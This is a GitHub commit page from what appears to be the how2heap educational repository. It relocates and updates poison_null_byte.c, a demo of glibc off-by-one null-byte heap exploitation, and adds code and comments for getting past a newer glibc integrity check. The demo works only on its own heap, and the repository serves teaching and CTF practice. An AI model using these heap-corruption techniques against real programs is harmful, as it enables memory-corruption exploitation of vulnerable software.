Skip to content

Commit

Permalink
Fix poison_nul_byte libc version
Browse files Browse the repository at this point in the history
As pointed out by shellphish#87, the check was indeed merge already in 2.23.
  • Loading branch information
m1ghtym0 committed Mar 20, 2019
1 parent d974718 commit 7e3e19d
Show file tree
Hide file tree
Showing 3 changed files with 22 additions and 111 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [fastbin_dup_consolidate.c](glibc_2.25/fastbin_dup_consolidate.c) | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and unsorted bin freelist. | latest | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
| [unsafe_unlink.c](glibc_2.26/unsafe_unlink.c) | Exploiting free on a corrupted chunk to get arbitrary write. | < 2.26 | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) |
| [house_of_spirit.c](glibc_2.25/house_of_spirit.c) | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) |
| [poison_null_byte.c](glibc_2.26/poison_null_byte.c) | Exploiting a single null byte overflow. | < 2.26 | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb) |
| [poison_null_byte.c](glibc_2.25/poison_null_byte.c) | Exploiting a single null byte overflow. | < 2.26 | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb) |
| [house_of_lore.c](glibc_2.26/house_of_lore.c) | Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. | < 2.26 | |
| [overlapping_chunks.c](glibc_2.26/overlapping_chunks.c) | Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk | < 2.26 | [hack.lu CTF 2015-bookstore](https://github.com/ctfs/write-ups-2015/tree/master/hack-lu-ctf-2015/exploiting/bookstore), [Nuit du Hack 2016-night-deamonic-heap](https://github.com/ctfs/write-ups-2016/tree/master/nuitduhack-quals-2016/exploit-me/night-deamonic-heap-400) |
| [overlapping_chunks_2.c](glibc_2.25/overlapping_chunks_2.c) | Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk | latest | |
Expand Down
22 changes: 21 additions & 1 deletion glibc_2.25/poison_null_byte.c
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
Expand Down Expand Up @@ -42,6 +43,16 @@ int main()

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

Expand All @@ -54,6 +65,15 @@ int main()
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "b1: %p\n",b1);
Expand Down Expand Up @@ -84,6 +104,6 @@ int main()

fprintf(stderr, "New b2 content:\n%s\n",b2);

fprintf(stderr, "Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
}
109 changes: 0 additions & 109 deletions glibc_2.26/poison_null_byte.c

This file was deleted.

0 comments on commit 7e3e19d

Please sign in to comment.